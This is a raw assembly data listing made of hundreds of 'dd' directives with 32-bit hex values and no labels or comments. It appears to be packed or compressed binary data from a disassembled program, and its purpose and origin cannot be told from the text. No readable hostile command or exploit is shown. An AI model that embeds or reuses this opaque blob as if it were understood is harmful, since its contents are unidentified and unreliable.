		dd 9681B757h, 0A33C398Ah, 0F1575E8h, 4CCD6CF0h,	0C5BF824Ch
		dd 7CF0FFFFh, 11B0EE02h, 32701AABh, 0B35E4068h,	157205BDh
		dd 5C0D32D3h, 0A360D707h, 30DEE217h, 0E331130Bh, 0FFA652BDh
		dd 435A97FFh, 0E6A55083h, 0A91B67AAh, 1311910Eh, 6C635980h
		dd 40A541B6h, 0FFF8156Fh, 0FF25C83Dh, 0FA7D0586h, 0AA1B0ABFh
		dd 682DB245h, 0FF1B2546h, 7868EDFFh, 6CB3A09h, 6348C6CDh
		dd 5C27B86Dh, 0C06E1535h, 36B6D42Ch, 0FFFFFFFFh, 0BCE05445h
		dd 0D561ACB5h, 89042837h, 1807EB06h, 0CF0E9E90h, 0B5603340h
		dd 813E9CDDh, 68F81607h, 0FB7FC5BFh, 682D5743h,	0EB073E88h
		dd 856F690h, 0C1994694h, 0D4CB18C1h, 0FFFFFFFFh, 79010401h
		dd 0F121895Bh, 0DBE65740h, 0D1A00A78h, 1A483823h, 0AE6DAB51h
		dd 224A2101h, 6AB1C866h, 0AB7FFC6Fh, 0A564E673h, 0E00C56DCh
		dd 8B5EFC61h, 0C5C5BC3h, 0C2FFB202h, 6990FFFFh,	0AA5140E0h
		dd 6C59EC9Ch, 37F25AABh, 5053149Fh, 582F9091h, 56509221h
		dd 0FF8374BEh, 0AB9DD00h
		dd 99A3AE02h, 0E45906FFh, 0CA7426Ch, 0FFFFF89Ah, 3F6E8A37h
		dd 8973EBF8h, 0FDF44407h, 0F1229CB0h, 6210CD98h, 0ACC4B9BFh
		dd 0FFADFF45h, 19F8B317h, 0B248BBE1h, 0FE8302BAh, 14DC5675h
		dd 6146B7Bh, 0FFFF3F4Ch, 7251C4BFh, 1210D4C3h, 0A1848D87h
		dd 0B0092410h, 488B8138h, 0D45D7AA1h, 0FFF89E4Eh, 70A0A5FFh
		dd 22D85A1Ch, 2D0A9AE4h, 776763AFh, 245D9FEDh, 48271754h
		dd 0F42FA975h, 3F9B97h,	0D63081CAh, 855514BFh, 0BFFF6964h
		dd 0DA097FFDh, 9D264331h, 3BD93138h, 2C31D859h,	86EF875h
		dd 44C266D2h, 5CEB0E09h, 0FF85FFFFh, 6CC0D746h,	4214ED0h
		dd 81806CCDh, 744FD6DBh, 0D1DA03h, 0AECC0387h, 0BBFA9C2Ch
		dd 0B232FE37h, 25F32E39h, 0DCE09EE4h, 0D4D80032h, 2E02CCD0h
		dd 0BF12F58h, 0E5F18D34h, 54283560h, 0BE8E73BAh, 0E05EB756h
		dd 0E777C2C0h, 6D03D18Bh, 5508BD76h, 82FFFFFCh,	17EB70A4h
		dd 0F981693Bh, 941F72D3h, 0DB858EFCh, 2D024EDFh, 0BFFFFFEDh
		dd 0FE683A7h, 0B35F5E24h, 52AEF51h, 0FD4F2269h,	0BE8BC7F7h
		dd 97A2A980h, 0FFFFE660h, 5CB312FFh, 7FED85BEh,	0A5F32A72h
		dd 249524FFh, 51906A3Bh, 0BC831DBAh, 16FF837Dh,	7C05FFFFh
		dd 3E05E72h, 8518C803h,	0ECD73A38h, 3496ADCEh, 483AB807h
		dd 0BFEB604h, 37FFEDFDh, 2398A35Dh, 88068AD1h, 880146EEh
		dd 2050147h, 0FFFF0B19h, 57E6DEA5h, 0C7C65A08h,	0B195CC5Dh
		dd 498D2765h, 0B6C3252Bh, 0FE8DFB7Dh, 0C783B9E4h, 0E623A602h
		dd 0DB3C81DDh, 61B2943h, 0FFFFBA08h, 3C944ADFh,	0F03AF800h
		dd 34E007E8h, 0D869BFCDh, 0E48E448Bh, 0E48F4489h, 0FFF77FFDh
		dd 34D3E8E8h, 0ECECD34Dh, 2BF4F0F0h, 0F8F8F409h, 6D8370FCh
		dd 8D047744h, 0FFFF00FAh, 6C191BFFh, 0E9AF868Bh, 3CF4FFBEh
		dd 115C4803h, 3664745h,	90C20B7Bh, 43FD0BA1h, 0FFFFFFFFh
		dd 11C17042h, 410E11A3h, 2B30FB78h, 6731748Dh, 84FC397Ch
		dd 92F6DD9Fh, 0E3FD0D24h, 3CC077FCh, 0FAB7F46Fh, 10E4D9F7h
		dd 708D4D22h, 0EF9933Ch, 0C42BE7E8h, 0FFFFFFFFh, 0D4902C3Bh
		dd 9B0AD607h, 0C2003EBh, 6F3E036Dh, 0CF25BD51h,	5A01EEEFh
		dd 4FB201EFh, 8612EE9Eh, 0F52FFFFFh, 29EEAB23h,	6CB7845Fh
		dd 24279040h, 0CAF1B0B3h, 0B2032D96h, 0BAE95675h, 0F5BFFF77h
		dd 5B4C730Bh, 84037C16h, 0A69A69B0h, 0A49C948Ch, 8CB13CB7h
		dd 0FE541C9Bh, 181CC4AFh, 1014BC03h, 160C0C10h,	6FFFFFD2h
		dd 404066Fh, 231330B0h,	3D805D0h, 0B63CFCE8h, 9B96E704h
		dd 0F8BB5B7h, 9752FA61h, 610B60FEh, 6BB1387h, 4491032Ah
		dd 24696668h, 1706F85Fh, 0E413D072h, 0AFE8F1F4h, 0F1437588h
		dd 1BFFD653h, 72599EFFh, 3F14A2AEh, 0A25945A2h,	3950D5ACh
		dd 42542252h, 0DBFF5DBDh, 0A585FFFFh, 672D1A67h, 37E1E4FDh
		dd 3E05072Dh, 180AEBB6h, 47C359C6h, 0A11DD8D8h,	0FFFFFF67h
		dd 70ECFFh, 19167524h, 0F1BB2F51h, 47900105h, 59069D50h
		dd 0C86D6B07h, 8D155FB7h, 914E7580h, 0FFFE859Dh, 0BBB647FFh
		dd 8DE4353Bh, 5B8C2277h, 0DB66C9EBh, 0D1E57F80h, 0E27D45E4h
		dd 0BFF16F63h, 6D6B14D1h, 9F870FE0h, 0FEE0282Bh, 8304FA8Bh
		dd 0FFA37F32h, 0FEEE99FFh, 8B939FC5h, 65D875FDh, 61E6A7Eh
		dd 58B9DE63h, 0D8382776h, 0FFFFFF61h, 103DD02h,	0AA57706Eh
		dd 0FDEE3B0Eh, 7EA8C58Bh, 50FA985Bh, 80C11EEBh,	6FF81655h
		dd 3B9F6FFFh, 0D56B6DD2h, 19753E61h, 0E8B747FFh, 0E70FD1CCh
		dd 8DFFF46Eh, 0FDD3ECDDh, 3FFFDADEh, 5392675h, 5FD411A8h
		dd 25FFFFFFh, 0C16532A4h, 0F128476h, 24881BDh, 76063889h
		dd 0C308A3F6h, 5921C35Dh, 0B8DFF14h, 0CD6D96FCh, 0EC00C73Dh
		dd 91D51571h, 0EC08D829h, 0FF0DCE0Ch, 4BFFFD4Bh, 69C5D6C0h
		dd 84A18A1Ah, 0EBB814Eh, 0E056A19h, 3A66F405h, 412E9695h
		dd 5FFFFFFh, 3FFA8338h,	0C6D75731h, 72641AADh, 7D72B0Ch
		dd 0FEF9A95Ah, 0FFCFE9DBh, 2760F42Fh, 0E1CA1006h, 0E8872177h
		dd 58ABF3FEh, 0FFC3270Ah, 58DFA5Fh, 5F60EAB7h, 79423C3h
		dd 68107927h, 1E085DA0h, 78EC0C0Eh, 46FFFF89h, 59B4F8C8h
		dd 0A523316Eh, 0EDF23182h, 12530CEFh, 2A854522h, 0B7FFFC1Bh
		dd 9E932A60h, 0B8216D21h, 88DA1286h, 0A1CA0D8Ah, 0E1FA97C3h
		dd 53FD5BFFh, 1C3FE056h, 9E3F9504h, 0F05649EFh,	4648E2CFh
		dd 0FF650C59h, 897EDFFFh, 35EBE45Dh, 0F796DF83h, 8B27742Dh
		dd 0C6A6FC43h, 3166E372h, 0B0C6D0DAh, 0F897FF75h, 4F34E4FFh
		dd 0E8CC4D6Dh, 0D6A1534Eh, 0D0217939h, 0F727BC2Eh, 46F60675h
		dd 0E97FFF89h, 0E67A3FFh, 223AE1A3h, 990708F0h,	66720442h
		dd 0E0082053h, 0C18CBCB2h, 16EF144Ch, 30FFFB7Fh, 0E32FE07Ah
		dd 0F731DDB2h, 53544601h, 0C186E120h, 74281630h, 0FFFFC4BFh
		dd 406E9434h, 0D99C4A0Dh, 9ABBF85h, 3D395C7Fh, 0FA56991Fh
		dd 8362DE42h, 0B8FFFFFFh, 25E8282h, 6C75E0B6h, 90BA1AF9h
		dd 5F845926h, 0CF62833Bh, 74249878h, 0FFF4BF44h, 8971EB7Fh
		dd 0CAC4D1EEh, 8856EB80h, 70DC6068h, 0B5743492h, 7356CD76h
		dd 0F1AADFD7h, 0A4D8DFFh, 0E6E91243h, 10B13FAFh, 5CCED421h
		dd 17321A88h, 0A4FF56F8h, 833C7D71h, 0E6A15BE8h, 0EB15E565h
		dd 0FF27A2BCh, 6FFFFFh,	14B94998h, 645CDDD5h, 20A331F4h
		dd 35365B5Ah, 84BFEDFAh, 74313B30h, 0FEB60F7Ch,	30A5FFFFh
		dd 74F32BE4h, 0AD761515h, 0FC4BADEh, 1B5CC49Fh,	850A18FFh
		dd 0D6C40B69h, 37FF0BFAh, 86701B05h, 264E6959h,	0DD2001B0h
		dd 64E69A02h, 0AB7E2702h, 1138DE37h, 98BAD7CDh,	94224F6h
		dd 70FEE9A4h, 2DFA5FFFh, 74047139h, 4C184D7Eh, 0D9C8DD20h
		dd 5200503h, 0B604C9B8h, 0D2FD6FFFh, 9706069Ch,	7DDFC79h
		dd 372078Fh, 66902608h,	49000864h, 0D6F6F897h, 9094C3Fh
		dd 0E6905028h, 0CB9E0A0Ah, 4B897D73h, 0E2660AB7h, 81395B02h
		dd 0C4D0C3Ah, 0DFFFFFB9h, 1B52E80Ah, 980D200Dh,	9A40993Bh
		dd 0F770E0Eh, 2991968Fh, 5D520FA4h, 10CBFFF8h, 597DD610h
		dd 4D103010h, 604C9C29h, 641111CDh, 0FBBF1912h,	3435BFEDh
		dd 1E7121Fh, 23CF2C13h,	1401C213h, 148D7714h, 9D99144Dh
		dd 745BDDF1h, 78D5158Ah, 8F11CD16h, 17175716h, 2F4B897Fh
		dd 32214CE2h, 451327CDh, 9184D18h, 0FFE91919h, 207177E6h
		dd 1A00E819h, 1BC71ABAh, 0F2F71B8Fh, 0A2429Ch, 0BADB7EF2h
		dd 0AE2C9E55h, 0BF084DE3h, 39A61C7Dh, 0DF6FFFFFh, 601D1D85h
		dd 900EE61Eh, 1F83431Eh, 0FFC0B81Fh, 3227521h, 2BCA03C2h
		dd 0FFA97AFAh, 86A93042h, 536DC7FBh, 0FF0B6315h, 16FF8731h
		dd 0BC145FFFh, 622179ABh, 0C65755BDh, 80F23994h, 1BEDB7CDh
		dd 0EDE4510Ah, 74FB7FFFh, 6DF24D71h, 0D2F22B06h, 3F9669AEh
		dd 12548DC2h, 1CE5D5F2h, 0F05069A4h, 0E5FADFFFh, 29E6E6B8h
		dd 0E79B0370h, 707365E7h, 5F762B08h, 9216E882h,	0EDFE1BEEh
		dd 7D742F2Fh, 271548E8h, 4ECCEB96h, 0E920E94Ch,	552D9309h
		dd 0EAEEFFE0h, 3BE40CEAh, 0E7EB8EEBh, 604EECFEh, 0FF4F2C87h
		dd 316C2FE1h, 46E94EFEh, 9EED20EDh, 7DEEEE4Fh, 776465EFh
		dd 0AFDB817h, 58EF8EE9h, 90E4D3F0h, 3A39306Eh, 0BE0FF1F1h
		dd 0F2EDA5E1h, 0F24CC8CDh, 69F3F3DEh, 0F4FDC991h, 0BF8668F4h
		dd 0EB38DFE1h, 0F43005DAh, 0E6DAA04Dh, 7F20F5F5h, 159AE1F6h
		dd 0F6F0FC0Ah, 4B1EF75Eh, 0A4FD39F7h, 0FF9BF043h, 4CF865BFh
		dd 0E466F911h, 0F920D204h
		dd 0E9FAFCF0h, 8EFBCFFAh, 2A34C9FBh, 0AAB6DB7Ch, 6F7400FCh
		dd 0E56722DDh, 5AA5FFFFh, 5CD3E47Ah, 0FD46D749h, 0FE1BFD1Ah
		dd 4D212A6Dh, 75BA13FEh, 0C293FFA9h, 0DEEE5FEBh, 0CD402A75h
		dd 0C94D2BFFh, 0FFF81785h, 4C8DB817h, 532B9D09h, 6C71C12Ch
		dd 96435B05h, 4B475585h, 0E17FFF46h, 0F7E3E313h, 0D1E3B027h
		dd 20E4FBFDh, 327348E4h, 1784DC81h, 8F02FFEh, 0FC482693h
		dd 9ED90E13h, 0E7FB9647h, 3AC21D8Eh, 0F0B817E2h, 6E4CC099h
		dd 9A392DABh, 0FB2CFB4Dh, 5BB7FFC8h, 8E85305Ch,	996BEB59h
		dd 0DF4CEB76h, 0E400ECFAh, 0DFFF7250h, 0BE0AFFFDh, 96FA9DFAh
		dd 8EB614E7h, 0EFEFFA78h, 4CEF43D6h, 250EF050h,	2F00B0A7h
		dd 0BFF0EFAh, 0F8FAB7FFh, 0E98E4B61h, 272F3F9h,	4C07643Bh
		dd 2192F9C1h, 51FF29A4h, 0EDFFB636h, 165853F9h,	0F65A6EF9h
		dd 0F99E591Ah, 3C0F00F7h, 0F06FDDD6h, 0F8313237h, 0A1C96100h
		dd 0F8EFF95Eh, 0CAEC211Eh, 0EB7FFF12h, 0EFBFBF8h, 4CFBD813h
		dd 0FC20FCA2h, 8133ACB6h, 0FF810681h, 34F46C1Bh, 0FE1D5727h
		dd 3B3635D2h, 40124924h, 0FFFF2471h, 9612FEEFh,	167E006Bh
		dd 0E21B61DFh, 6EE2E2B0h, 72358539h, 2CE3F7F1h,	5842F7D0h
		dd 6FF32872h, 0F7AFFFE1h, 0F6C8763Fh, 0E6F78A9Ch, 664CF78Eh
		dd 6C2CE762h, 7E1B0BC5h, 0F720F741h, 0FB77988Eh, 26B0E5F6h
		dd 0EF1DC28Fh, 0F6D384BEh, 0B2B94B2Ch, 0B7F691F6h, 0DB6C8E61h
		dd 0FF0DFDBFh, 62C23C9Ah, 1F64438h, 0F6232CC2h,	5CE5F602h
		dd 0F5DD8E2Dh, 0DBF6D4F2h, 585793FFh, 0B538F29Ch, 0C99287F5h
		dd 73F5942Ch, 0E9AC46F5h, 77BB7FFFh, 7B22F54Eh,	0F6F62C8Dh
		dd 7674D3Ch, 2C256759h,	1AF82004h, 0C37FFD2Dh, 0F4E3F8BDh
		dd 1E1939F9h, 0E4FAF4BEh, 0FA931611h, 0FFF49638h, 81ADF97Fh
		dd 0F4752C8Ch, 0F454299Ah, 0F9662F8Eh, 8FDDAB7Ah, 349066FEh
		dd 0FFFFFFA5h, 3EF7F484h, 6E516151h, 0D60F70A6h, 0D5D84FFBh
		dd 13302D82h, 0E23D1F03h, 0FFF8CBA4h, 5459EEB7h, 6BFF00E1h
		dd 0E2F30B91h, 4392C241h, 8EF3AFC9h, 0DF4C54F3h, 806C2FFDh
		dd 58C2F369h, 79584793h, 2541F341h, 0FFF32096h,	0BFFFB2F2h
		dd 863C85FDh, 0E9F2DA8Eh, 6AC694E9h, 96F2B27Ah,	913ACA1Ch
		dd 0F27041F2h, 0FFFE1B6Fh, 0C2991964h, 0EDED4B8Eh, 0D5847928h
		dd 0E1F2237Ah, 0E1170275h, 0FCB864F1h, 39E3C2FFh, 0F1F1BCE2h
		dd 5E4F13Ch, 707B55D2h,	0A1D6F193h, 5EE8DDBFh, 0F151424Dh
		dd 0F1A5B0BFh, 9356BEF5h, 17047AF5h, 0F1FF0BF8h, 0A1C848B2h
		dd 176EF0E3h, 0F0C2BC96h, 0AB659D8Eh, 0D5BFF6C9h, 0C3F9F2DBh
		dd 8C50EB28h, 41F054F0h, 725B0A75h, 0FE261833h,	0A40EC6FFh
		dd 4596BE4Ah, 0CA84DD12h, 3C59E815h, 0FECCC21Bh, 0C7FFD0BFh
		dd 51FD8C87h, 0C22B1610h, 0F766B73h, 0EDB840D1h, 561F4107h
		dd 0D2FAA401h, 0C03797ADh, 73EECC20h, 3AB478Bh,	0DFF4EBDh
		dd 4A47142Eh, 0C9E09BDCh, 0C2E48765h, 0A5751188h, 68FFD28Dh
		dd 0BB3F6584h, 804B1CB2h, 2A3454Eh, 0FFFE2D7Eh,	4E201CFFh
		dd 0A8467501h, 0CEB101B4h, 0A02D30B5h, 7FB71009h, 0BFD07281h
		dd 0EADADFD4h, 4049FFh,	0F2034DE6h, 5BA69B51h, 57CD5658h
		dd 0B8558463h, 72F4BFC5h, 0DF2E5CB9h, 50D34CC7h, 5C6554F5h
		dd 0EDFF58CDh, 65D65FFFh, 2CD347C9h, 4BA9CB97h,	53D64FB5h
		dd 36201A3Ah, 0AB47264Dh, 0FF4A8B46h, 97D6FFFFh, 72CD334Eh
		dd 0FC2852B8h, 1B280849h, 9F917354h, 6FC6E1ADh,	46FDBE5Fh
		dd 0FFE8DC0Ch, 637500FFh, 5875ACE8h, 6C484689h,	68040E89h
		dd 7E0A4E89h, 0FF8B04D8h, 0C64BFFFFh, 0FD69680Dh, 840D8B12h
		dd 0A1B82968h, 704811DEh, 0E3718175h, 6CBB9F89h, 7FE25FEBh
		dd 5A87E81h, 161C6788h,	81F080Ah, 0B2DDFCCFh, 0FF8B7F6Ah
		dd 1504A4FFh, 27040F6h,	2831475h, 0DBEA2E62h, 8B7D017Dh
		dd 4405908h, 0FFFFFF1Ch, 3CD4C6FFh, 7A043C10h, 0C0F09910h
		dd 47B85F0Dh, 83F02BD1h, 1BCACB8h, 8474137Eh, 6AAD0760h
		dd 0FFFC4B08h, 157822FFh, 5BF407A0h, 8B10EBCBh,	6FFDC880h
		dd 0D45FC04Dh, 0A7834804h, 0F85FFF80h, 0F80F4846h, 0A646183h
		dd 3DF38C1Ah, 0DCE9AACCh, 6C5B6F6h, 12FFFFFFh, 0B95891D9h
		dd 7E024128h, 0BDC3AA87h, 0E8534849h, 49B59073h, 17681677h
		dd 85FFA97Fh, 7AEE2750h, 192DB712h, 7C22DEC2h, 2C064314h
		dd 89712FD2h, 7E412AFFh, 64FA8ECBh, 809F18ECh, 8CBED4E8h
		dd 0FC5BF139h, 0F412E1FFh, 5473DE3Bh, 4B983A0h,	0BEBDDC14h
		dd 875301E8h, 0FFFFFF17h, 818BC52Fh, 0EE968B6Dh, 8F0158D9h
		dd 0DB3B100Fh, 18CC938Eh, 98504A5Fh, 6C87D2F4h,	0DFFF83DFh
		dd 9860ADEAh, 0E05D133Ch, 381131E8h, 6B89B7DEh,	0D1797DC1h
		dd 5A7E97FFh, 46E7DB9Bh, 7C3A502Eh, 138A12CBh, 46FFD16Ah
		dd 0FFFFFFC0h, 5DF90ABFh, 0FE45C6FDh, 15EB5900h, 6748B65Eh
		dd 16542AE3h, 4100FDFCh, 0E6FFE80Eh, 0FFFF9851h, 0D706FFFFh
		dd 6AF8558Dh, 6B515203h, 6D8BED88h, 4CB070D0h, 7224AA88h
		dd 0A91A2955h, 0D7FFD5BFh, 540B286Fh, 0D525E897h, 4D2A6845h
		dd 0F0F3E1F9h, 0FF56F871h, 0BF8657Fh, 0F03FA6C1h, 0FE415B5Eh
		dd 3A2E7D05h, 83119E48h, 0DA97FFFFh, 127A7B43h,	0CF4A493Dh
		dd 828D0F4Ch, 8AB3451Bh, 42DD3211h, 0FFFFFCA1h,	8410FFFFh
		dd 8A6F74D2h, 0CC840171h, 1419F758h, 80BA9600h,	983A118Ah
		dd 0B3AA5B17h, 0C50D9437h, 0CBFFFFFh, 66F3F10Ah, 501B67FFh
		dd 0C612C385h, 7E8DE975h, 2618AFFh, 0FFF4B5DDh,	84F7B06Fh
		dd 3A02284Bh, 8ABE75C4h, 8A183544h, 7B5D5F66h, 6FFFFFFFh
		dd 7410C178h, 31ABEBDFh, 7DCB8A36h, 0F725BC23h,	0FF478D32h
		dd 5C7BC0Ch, 0C23720C7h, 0FFD5BA17h, 39BB406Fh,	1D750C5Dh
		dd 46535325h, 0F7160599h, 0FFFF0BFCh, 19517268h, 0EB08112Eh
		dd 0D528684Dh, 0DCBBB152h, 8A38614Ah, 10245AA6h, 4BFF46FFh
		dd 0A22DED7Ah, 224840A1h, 0CA86587Fh, 7F3442B3h, 0FFA19BEBh
		dd 0E44DFFFFh, 0C478F08Bh, 0BD8DD953h, 0EB1888E0h, 7DFF5327h
		dd 0B05439EAh, 0CC2B06B0h, 7EDAA195h, 0DFC7D577h, 776E463Ah
		dd 0BFFEA5FFh, 0F757EB5Ah, 7505ADC1h, 83740B01h, 0BACF97CAh
		dd 103DD401h, 837FEF75h, 11FF02Fh, 7E1CFFBAh, 1283D003h
		dd 33C90BB7h, 0E85F1EC2h, 0A904F12Fh, 0E8730118h, 0DCFC418Bh
		dd 23285066h, 0FFA91A11h, 0A9FFFFh, 0BC060E3Ch,	7D196F6Dh
		dd 798DCDF4h, 0FE040DC6h, 583C08EBh, 0C0FDBCB7h, 7E142FE3h
		dd 630C64FCh, 78DD161Dh, 886688E1h, 0FFFDDF17h,	16B07F8Eh
		dd 0EBEA3EEBh, 726BEA05h, 4DD0DD6Dh, 6F118B76h,	0B73431E1h
		dd 0BFFADFEh, 6D00C283h, 126D8DECh, 0CBC76E07h,	442367ECh
		dd 6DC60866h, 93951BF5h, 37B00876h, 0FFC6D82Ch,	5BFE97FFh
		dd 390E1C00h, 54E2464h,	3B2D3D13h, 32FF061Ah, 49C97088h
		dd 0FFFFFFF8h, 55411324h, 2D6C932h, 0FDFE09D1h,	4C98ECA3h
		dd 70E8C5FCh, 271D01F0h, 0B81E0560h, 0FFFFFF04h, 246DF8B7h
		dd 3D81C720h, 0F75B00B8h, 5A4DFDDBh, 3CA13375h,	0EB88108h
		dd 22AD4550h, 0FFE2DFFFh, 54B7B81Bh, 0B189A2Ah,	0C674B1ACh
		dd 0E74BDD8h, 39750E76h, 0F0AE888h, 0FFFFD5BFh,	1DE0295h
		dd 6A9789D0h, 0AC06860h, 0EC495A36h, 642087h, 18A0DAADh
		dd 0FFA978B7h, 78BF65B4h, 174070A1h, 4144871h, 0D31C5A98h
		dd 52FFFFE3h, 1B9BC8Fh,	6A0D5BFCh, 274D6C12h, 3E89614Fh
		dd 75B01334h, 7ED52FFFh
		dd 112DDC10h, 2B16F433h, 6CB21D00h, 7C85430Dh, 0DF4B0405h
		dd 0B2DCFFFEh, 8CBF8D6h, 0C7E8BD8h, 5DAFE781h, 44BC9A28h
		dd 5E6E00Bh, 0FFFFAB7Fh, 0D809CF81h, 2213140Eh,	0DF26C128h
		dd 8B7FEDDDh, 89C28C55h, 0A6724835h, 0FFFFFD5Bh, 890450A3h
		dd 1505540Dh, 9F33EE4Ah, 844C3D58h, 6D3F5D4Bh, 51533FB9h
		dd 0FFFA17D0h, 7B7F59CEh, 0B6324E1Ch, 76059C9Bh, 27924D91h
		dd 0FFFFD965h, 6320BFDBh, 7DE78F18h, 1B146B58h,	8559C260h
		dd 5215A30Ch, 0F8676464h, 0E0A3B28Eh, 0FFA5FFFFh, 0F98D2580h
		dd 91937F08h, 986E0DDh,	59DE6173h, 4ECBF6h, 84292279h
		dd 0FFFFBC5Dh, 610C12ADh, 5F4DB981h, 51590A6Ah,	0EA075050h
		dd 140DF89h, 0FFD1BFFFh, 3003EFDFh, 3006B965h, 1095263h
		dd 0EBD2EDF1h, 8BECA42Eh, 4D8909EEh, 0E97A817Dh, 156D85D4h
		dd 97E289F1h, 852FD416h, 0BFFFFFFh, 8363CFB4h, 0EC1871A0h
		dd 3DEBA219h, 75B81229h, 22CC019Fh, 0E96F9242h,	0E25E8CF6h
		dd 0E452FFFFh, 0E963628Ah, 99A205BAh, 0D3BF0D80h, 16FC7FBBh
		dd 8D06E2CEh, 0FEB7FF9Bh, 6F0FD7ADh, 104E0306h,	476C1AEh
		dd 305E2056h, 4F03077Fh, 0FFEB7A37h, 9BBB3612h,	7F577FCDh
		dd 0AD666F5Fh, 1076506Eh, 0FFC5D766h, 7E6DFFFFh, 13671870h
		dd 777F6F7Fh, 47DFEE7Fh, 8D707FF1h, 5BF14B6h, 8BA37549h
		dd 0BFFFF56Fh, 682AE656h, 1C862379h, 0CC181ADFh, 89AE83F4h
		dd 7B5599C3h, 5BFFE2A5h, 0D65DE85Dh, 8DCAC633h,	6C41AF5Ah
		dd 7633F874h, 7FFF49FAh, 0A006FF83h, 8BFE06B6h,	2BD70BD1h
		dd 1FCECE8Bh, 2E02C77Fh, 0F13B8CDDh, 0FF0B2B4Eh, 9CF1FF46h
		dd 8205764Fh, 8E312A11h, 0B6A25FF8h, 3424F77h, 0EAA5FFFEh
		dd 17D12BD3h, 0D50AD803h, 5DC7A976h, 6FEC39F0h,	0A5DF8217h
		dd 8D85C1BFh, 537AA4F3h, 3575CF3Bh, 0FFFD9C93h,	0DC25FD0Bh
		dd 0E44A6C21h, 62921B8Ch, 3B9D681h, 5553D10h, 0BE4F2B57h
		dd 0BC6FFFFFh, 618D83D6h, 42F1AE5h, 9136092Dh, 8BA5F3ADh
		dd 758DCF9Fh, 8B5403AFh, 0DBFFFFFCh, 259FE2C9h,	8239DDE9h
		dd 933A05F8h, 670AA353h, 81E97E87h, 43B7C89h, 0FE8508CDh
		dd 6C9A6FFFh, 4A16EAD0h, 9A5F2DF9h, 256B66EDh, 0C7711BEh
		dd 0FFFF346Ah, 0C1AFFFFh, 0E1BFC102h, 0C04405C3h, 3B590E6Ah
		dd 23C01BC8h, 0AD1DEE95h, 0DFC208C3h, 70B806BFh, 0FFFE2061h
		dd 7C7CE05Fh, 0C748E72h, 42F856C3h, 1FC058A5h, 88951CEh
		dd 1058A3A9h, 0EDE8D863h, 5F305A37h, 0C0450A28h, 0E56E60Ah
		dd 0F02FFF8Ah, 61087597h, 1C34D16Bh, 67497257h,	3E4AD014h
		dd 0A21A6953h, 0FFFFC0BFh, 4DC45B82h, 0B755EB7h, 45720577h
		dd 312444B0h, 0DF358AEh, 0DB39ACD7h, 0FC0BFF83h, 0C0940FDCh
		dd 829CA868h, 652045A5h, 0CF8296A3h, 0B7FF8D6Dh, 86B252FFh
		dd 8EA3B473h, 0C908EED0h, 1D096824h, 1083CF53h,	0DFFF0A1Ch
		dd 2929FFF8h, 57F1E01Ch, 0B3A28h, 9D0CAEBh, 0BF24AEDDh
		dd 3C830FF0h, 0A6184F5h, 0FC5B1BFFh, 0B1048D1Eh, 80C2F5D4h
		dd 0A0683826h, 430380Fh, 0FFFFD118h, 475BE25Fh,	0CDAEA76h
		dd 7C243D46h, 16C436D2h, 2413CC0Eh, 0F1EB7B29h,	0E0DFB783h
		dd 0ADCFB7Fh, 0F2E03C74h, 85FB6BE1h, 13293E62h,	0E001CB83h
		dd 0D2FF7B57h, 0E2D1F0BFh, 262F5018h, 0DBB1889Fh, 0FEA1B82Fh
		dd 7C2262A0h, 0FFFF29DCh, 0CB5FFEDFh, 148C5FCAh, 1F509129h
		dd 894386EFh, 0F85239E6h, 2AC534FFh, 1018C40Dh,	0E97F5D62h
		dd 0E83BFC1Bh, 2082B414h, 0A26BC190h, 0E5D38870h, 52205D8Eh
		dd 0EDFFFFFFh, 0D4348D5Fh, 625BFA1Eh, 7DC751A1h, 9F942B6Ah
		dd 0E08C0559h, 180F2229h, 6CA0A4C6h, 0FFFF837Fh, 72B8514Bh
		dd 0B708C235h, 82C752Fh, 4590457h, 17F68E6Ch, 2EC135C4h
		dd 0A37FC6FEh, 9D0B6AD0h, 991A07EBh, 534024E4h,	59D40A95h
		dd 0FFFFFFE3h, 0D82B1C17h, 7C381683h, 1A509B0Dh, 112AACDBh
		dd 41882455h, 464CD36h,	497FCA07h, 2FFFFFCh, 0C279B04Ch
		dd 8EE0FC04h, 0D2CBC301h, 0D45CC967h, 0DC167240h, 0BFFFE8A3h
		dd 57C52FC0h, 62C52050h, 0FE05ECB2h, 105CBAFBh,	1F0DBFA4h
		dd 7FFF38A1h, 0C96BFF83h, 2C80314h, 92A689B1h, 5D0C5008h
		dd 0BA17F402h, 0C0887222h, 0C2F43B14h, 72C1FF1Bh, 628E69EAh
		dd 41490C03h, 0C12E9D10h, 0A350D30Bh, 79806FFFh, 0EFC1FC55h
		dd 0BF5DDC95h, 5469CFC3h, 0BFFFFFFFh, 44018CF7h, 0E40E398h
		dd 0EF92F82h, 0C0C1F649h, 0A2A6FAD4h, 1C8DAF34h, 1E138B31h
		dd 0F825B76Ah, 0BB52FFFFh, 5FC56ABh, 0C2F608B4h, 0FE02971Dh
		dd 0C174781Bh, 7A4A04FAh, 0FFFFFFEAh, 8B5A0C76h, 0AB7DBA0Bh
		dd 84B954Bh, 200F4275h,	16FF48BBh, 1973B4BFh, 0FAEBD3EDh
		dd 0B75FFFFFh, 21D31E02h, 0FE44B85Ch, 0FD93A809h, 802375DDh
		dd 1CEB1921h, 19E04A8Dh, 0F0BFFF9Ch, 0D3EB3017h, 61C1319h
		dd 0A653DF16h, 0D6CAB6D9h, 0FC5D045Bh, 37FF5AF4h, 0CBF86FFEh
		dd 55D02B5h, 93178A52h,	981D444Ah, 0E3045D75h, 0BAB9BD01h
		dd 0F56FF897h, 478FC22Fh, 0FBC11101h, 0ADD4A004h, 5E4B48A0h
		dd 0FFFFFFFFh, 6DB3DCD4h, 47DE6889h, 0D63B35F8h, 829AD940h
		dd 3BD611EFh, 0D55E74DAh, 0FD71B371h, 3B7E445Bh, 0FFFFFFFFh
		dd 0BE20FB83h, 0EED3CBDCh, 7421D6F7h, 0DF7D6F63h, 4034CAFh
		dd 31942175h, 0E04B8DC8h, 0DAC5B417h, 56C0BFFFh, 3FD2AD9Dh
		dd 2D9CB245h, 0A649AFB1h, 8040B4Eh, 0D6FFFFFFh,	0A6BC6AB9h
		dd 0A9405BC6h, 8DB54F6h, 0CDB58F6Fh, 2DD9EDFCh,	0D10C8DF0h
		dd 0FDBF598Bh, 5E24FF06h, 4AD97005h, 80B2DD7h, 8A604E88h
		dd 14DF0D48h, 0FC0B4D88h, 0FE0FFFFFh, 0B8845C1h, 0C2844273h
		dd 3F0F2CB6h, 35534A0Eh, 0BB6211B6h, 7FFF19DDh,	5D0BFFE1h
		dd 6009A744h, 0A58DB186h, 2556E129h, 2D748F63h,	0EABA0F63h
		dd 9B7848Dh, 0FFFFFFFEh, 1A37F576h, 689C901h, 0FC304489h
